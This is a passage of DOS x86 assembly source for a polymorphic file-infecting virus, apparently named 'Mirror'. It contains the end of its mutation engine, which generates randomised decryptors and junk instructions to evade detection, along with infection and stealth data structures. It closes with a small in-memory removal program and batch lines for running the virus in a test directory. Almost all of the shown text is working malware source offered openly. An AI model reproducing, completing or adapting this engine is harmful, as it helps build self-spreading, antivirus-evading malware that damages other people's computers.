VirusTop ; 4 bytes ; 5 dw MemoryTrash - VirusTop ; 5 bytes ; 6 dw MoveTrash - VirusTop ; 2 bytes ; 7 OpcodeTable equ byte ptr [$ - VirusTop] db 00h,28h,30h,30h db 79h,78h,75h,75h MoveIndex: xor cl,30h sub ch,2 Registers equ word ptr [$ - VirusTop + 1] IndexReg equ byte ptr [$ - VirusTop + 1] CounterReg equ byte ptr [$ - VirusTop + 2] db 0bbh,?,? push cx xchg ax,cx mov cx,0c089h cmp bl,bh jne MakeMove mov ds:FlagsOk,0ebh CryptReg equ byte ptr [$ - VirusTop + 1] db 0b3h,? test al,08h mov al,0d8h jz SetAddOpcode mov al,0d0h SetAddOpcode: mov ds:AddOpcode[1],al call Random push bx and ax,3 xchg ax,bx mov al,OpcodeTable[bx] mov ah,0c0h inc ax pop bx mov ds:AddOpcode,al xchg ax,cx MakeMove: call Random and al,2 jnz DirectionOk xchg bl,bh DirectionOk: rol bl,1 rol bl,1 rol bl,1 mov ah,bl or ah,bh or ax,cx stosw pop cx ret db 2 MoveTrash: push cx call RandomRegFF and ax,0707h xchg ax,bx mov cx,0c089h jmp MakeMove InitMutate: mov ds:Reserved,11h call Random call ResetRegZero push ax mov bx,1234h DecryptorOfs equ word ptr [$ - VirusTop - 2] mov si,1234h DecryptorSize equ word ptr [$ - VirusTop - 2] add bx,si add si,di mov dx,bx mov ds:Param3,1 mov ds:Param4,si mov ds:Param5,ax call Random and ax,3 mov bx,8000h mov ds:JumpType,al dec ax js Ok xchg ax,bx mov ax,7fffh je Ok xor ax,ax xor bx,bx Ok: push ax call Random pop ax jpe Increase add ax,cx add dx,cx neg ds:Param3 add ds:Param4,cx mov cx,1903h jmp Decrease Increase: xchg ax,bx sub ax,cx mov cx,1703h Decrease: mov ds:Param1,ax call Random and al,10h or al,0ebh mov ds:CmpSub,al mov ds:CompareOpcode[1],al test al,10h pop ax jnz UseCompare add ds:Param3,ax jmp Skip UseCompare: add ds:Param1,ax Skip: mov ax,ds:Param1 sub dx,ax add ax,ds:Param3 sub ds:Param4,ax Again: mov bx,offset JumpTable - 2 cld call Choose call bx or cl,cl jne Again ret Choose: call Random and ax,300h push cx ChooseNext: inc ax ror cl,1 sbb ah,0 jae ChooseNext pop cx dec ax and ax,7 jz Trash or cl,1 add bx,ax add bx,ax mov bx,ds:[bx] ret Trash: inc bx mov ax,si sub ax,di jbe Ready sub al,ch ja NotReady Ready: and cl,0feh ret NotReady: push bx push cx push ds:Randomize mov bx,offset TrashTable - 2 mov cl,11111110b mov ch,al call Choose cmp ch,ds:[bx-1] jae SizeOk mov bx,offset IncDecTrashAbs SizeOk: call bx pop ds:Randomize pop cx pop bx ret db 3 InitTrash: call RandomRegFF or al,0b8h StoreRandom: stosb call RealRandom stosw ret InitReg: xor cl,06h sub ch,6 push cx mov ch,00001111b call RandomReg mov ds:CounterReg,al mov ds:CryptReg,al push ax or al,0b8h stosb mov ax,ds:Param1 stosw pop ax mov bx,cx cmp al,3 je IndexRegOk GetIndexReg: mov ch,11101000b call RandomReg IndexRegOk: mov ds:IndexReg,al or ds:Reserved,cl cmp al,ds:CounterReg jne NoCryptReg mov ch,00001111b call RandomReg mov ds:CryptReg,al or al,0b8h stosb call Random mov ds:Param2,ax stosw or bl,cl NoCryptReg: or ds:Reserved,bl pop cx ret SetDestenation: xor cl,1ch sub ch,2 mov ds:JumpDestenation,di ResetRegZero: mov ds:RegZero,0ffh jmp ResetFlagsOk db 1 IncDecTrashAbs equ byte ptr [$ - VirusTop] IncDecTrash: call RandomRegFF and ah,8 or al,ah or al,40h Compress1: stosb jmp ResetFlagsOk db 2 FlagsOk equ byte ptr [$ - VirusTop] JumpTrash: jb IncDecTrash call RealRandom mov al,75h jpe StoreJump mov al,78h StoreJump: stosw ret Memory: xor cl,20h sub ch,5 mov al,ds:IndexReg sub al,5 ja RegOk1 mov al,3 jb RegOk2 RegOk1: dec ax RegOk2: or al,84h xchg ax,bx call Random and al,4 mov ah,ds:CryptReg or al,ah rol al,1 rol al,1 rol al,1 or al,bl push ax call MemoryOpcode test ds:MutationFlags,80h jnz Decryptor Encryptor: xor bl,1 Decryptor: mov al,OpcodeTable[bx] mov ds:EncryptOpcode[1],al pop ax stosb and al,20h or al,87h cmp ah,ds:CounterReg jne NotEqual or al,9fh NotEqual: mov ds:EncryptOpcode[2],al xchg ax,dx stosw SetStatus: test cl,38h jnz ResetFlagsOk or cl,40h ResetFlagsOk: mov ds:FlagsOk,0ebh ret db 2 ZeroReg: call RandomRegFF not cl and ds:RegZero,cl xchg al,ah and al,1ah test al,18h jpo OpcodeOk xor al,10h OpcodeOk: mov cl,3 mov ch,ah rol ah,cl or ah,ch or ax,0c021h stosw SetFlagsOk: mov ds:FlagsOk,072h ret db 5 RegZero equ byte ptr [$ - VirusTop + 1] MemoryTrash: db 0b5h,? not ch and ch,0fh jz ZeroReg call RandomRegFF and ah,23h mov cl,3 rol al,cl or al,84h or al,ah push ax call MemoryOpcode pop ax Compress2: call StoreRandom jmp ResetFlagsOk IncReg: xor cl,08h sub ch,4 mov bx,ds:Param3 xor ds:EncryptOpcode[2],8 mov ax,ds:Registers cmp al,ah je Adjust test cl,10h jz DoNotAdjust Adjust: sub dx,bx DoNotAdjust: call AddSub jmp SetStatus Compare: sub ch,6 xor cl,0c0h mov ax,ds:Param5 CmpSub equ byte ptr [$ - VirusTop + 1] db 0b3h,? xchg ax,bx cmp al,0fbh je DoNotChange neg bx call AddSubLarge jmp Jump DoNotChange: mov ax,0f881h call AddSubMore JumpType equ byte ptr [$ - VirusTop + 1] Jump: db 0bbh,?,0 mov al,ds:OpcodeTable[bx+4] mov ds:ConditionOpcode,al stosb JumpDestenation equ word ptr [$ - VirusTop + 1] db 0b8h,?,? sub ax,di dec ax jmp Compress1 db 4 AddSubTrash: mov al,81h stosb call RandomRegFF and ah,38h or al,0c0h or al,ah jmp Compress2 PrefetchFix: or ch,ch je DontFix mov al,0ebh cmp ds:FlagsOk,al je JumpOpcodeOk mov al,79h JumpOpcodeOk: stosb mov ax,si sub ax,di dec ax jns JumpOk xor ax,ax JumpOk: stosb DontFix: and cx,1 ret AddSub: cmp bx,2 jg AddSubLarge cmp bx,-2 jge AddSubSmall AddSubLarge: call Random mov ax,0c081h jns AddSubMore mov ah,0e8h neg bx AddSubMore: or ah,ds:CounterReg push ax mov al,bl cbw cmp ax,bx pop ax je AddSubByte AddSubWord: stosw xchg ax,bx stosw ret AddSubByte: mov al,83h stosw xchg ax,bx stosb Return: ret Sub1: inc bx mov al,48h AddSub1: or al,ds:CounterReg stosb AddSubSmall: or bx,bx je Return js Sub1 Add1: dec bx mov al,40h jmp AddSub1 MemoryOpcode: and al,7 cmp al,6 mov al,1 jne NotBP mov al,2 MutationFlags equ byte ptr [$ - VirusTop + 1] NotBP: db 0a8h,? jnz DoNotOverride mov al,2eh stosb DoNotOverride: call Random and ax,3 xchg ax,bx mov al,ds:OpcodeTable[bx] stosb ret RealRandom: xor ax,ax out 43h,al call Random push bx xchg ax,bx in al,40h xchg al,ah in al,40h add ax,bx pop bx ret Random: mov ax,1234h Randomize equ word ptr [$ - VirusTop - 2] ror ax,1 ror ax,1 ror ax,1 inc ax mov ds:Randomize,ax ret RandomRegFF: mov ch,0ffh RandomReg: call Random RandomRegNext: inc ax and al,7 xchg ax,cx mov al,1 rol al,cl xchg ax,cx Reserved equ byte ptr [$ - VirusTop + 2] db 0f6h,0c1h,? jnz RandomRegNext test cl,ch jz RandomRegNext or ds:RegZero,cl ret ;*****************************************************************************; ; ; ; Mutation engine ends here. ; ; ; ;*****************************************************************************; VirusEnd equ $ MaxFiles equ 4 FileTable equ [$ - VirusTop] FileTableEntry equ (HeaderLength + 7) db (FileTableEntry * MaxFiles) dup(?) dwa macro ident ident equ word ptr [$ - VirusTop] dw ? endm dba macro ident ident equ byte ptr [$ - VirusTop] db ? endm NewExeOfs equ dword ptr [$ - VirusTop] dwa NewExeOfsL dwa NewExeOfsH SFT_Entry equ word ptr [$ - VirusTop] dwa SFT_HandleCount ; 0 dwa SFT_OpenMode ; 2 dba SFT_Attribute ; 4 dwa SFT_DeviceInfo ; 5 dwa SFT_DeviceInfoOfs ; 7 dwa SFT_DeviceInfoSeg ; 9 dwa SFT_Cluster ; b dwa SFT_Time ; d dwa SFT_Date ; f dwa SFT_FileSizeL ; 11 dwa SFT_FileSizeH ; 13 dwa SFT_FilePosL ; 15 dwa SFT_FilePosH ; 17 StealthNames equ byte ptr [$ - VirusTop] db (8 * 0ah) dup(?) Buffer equ byte ptr [$ - VirusTop] db 120h dup(?) MemoryEnd equ $ ;*****************************************************************************; ; ; ; All good things must end. This virus ends here. ; ; ; ;*****************************************************************************; code ends end EntryPoint 8<-------------------------------------------------------------->8 code segment public 'code' assume cs:code, ds:code, es:code org 100h Main: mov ah,9 mov dx,offset Msg1 int 21h mov ax,0fdc8h mov ds,ax mov si,041f9h cmp byte ptr ds:[si],09ah jne Failed mov byte ptr ds:[si],36h mov word ptr ds:[si+1],16ffh mov word ptr ds:[si+3],05eah push cs pop ds mov ah,9 mov dx,offset Msg3 int 21h jmp Exit Failed: push cs pop ds mov ah,9 mov dx,offset Msg2 int 21h Exit: mov ax,4c00h int 21h Msg1 db 'Removing mirror from memory... $' Msg2 db 'Failed!',13,10,'$' Msg3 db 'Ok!',13,10,'$' code ends end Main 8<-------------------------------------------------------------->8 @echo off remove copy c:\dos\command.com c:\virus\command.com 8<-------------------------------------------------------------->8 copy c:\dos\command.com c:\virus\command.com set comspec=c:\virus\command.com mirror